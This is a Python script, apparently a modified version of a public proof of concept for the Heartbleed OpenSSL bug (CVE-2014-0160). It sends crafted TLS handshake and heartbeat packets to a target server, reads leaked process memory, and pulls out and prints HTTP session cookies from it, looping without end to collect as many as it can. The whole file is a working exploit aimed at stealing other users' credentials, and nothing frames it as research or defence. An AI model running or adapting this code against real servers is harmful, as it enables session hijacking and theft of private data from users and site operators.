stealcookie.py

#!/usr/bin/env python
# Quick and dirty demonstration of CVE-2014-0160 by
# Jared Stafford (jspenguin@jspenguin.org)
# Modified so that it finds cookies
 
import sys
import struct
import socket
import time
import select
from optparse import OptionParser
 
 
options = OptionParser(usage='%prog server [options]')
options.add_option('-p', '--port', type='int',
                   default=443, help='TCP port to test (default: 443)')
 
 
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
 
 
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
 
 
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
 
 
def findcookies(s):
    to_find = '\r\nCookie:'
    idx = s.find(to_find)
    if idx >= 0:
        end_idx = s.find('\r\n', idx + len(to_find))
        if end_idx >= 0:
            return s[idx + len(to_find):end_idx].strip()
 
 
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
    return typ, ver, pay
 
 
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == 24:
            if len(pay) > 3:
                return pay
 
 
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
 
    def hit():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        sys.stdout.flush()
        s.send(hello)
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break
        s.send(hb)
        return hit_hb(s)
 
    cookie_not_found = 0
    payload_not_found = 0
    found = set()
 
    while 1:
        payload = hit()
        if payload is None:
            payload_not_found += 1
            if payload_not_found > 15:
                print 'No payload found, giving up'
            continue
        payload_not_found = 0
 
        cookie = findcookies(payload)
        if cookie is None:
            cookie_not_found += 1
            if cookie_not_found > 15:
                print 'No cookies found, giving up'
            continue
 
        cookie_not_found = 0
        if cookie not in found:
            print cookie
 
        found.add(cookie)
 
 
if __name__ == '__main__':
    main()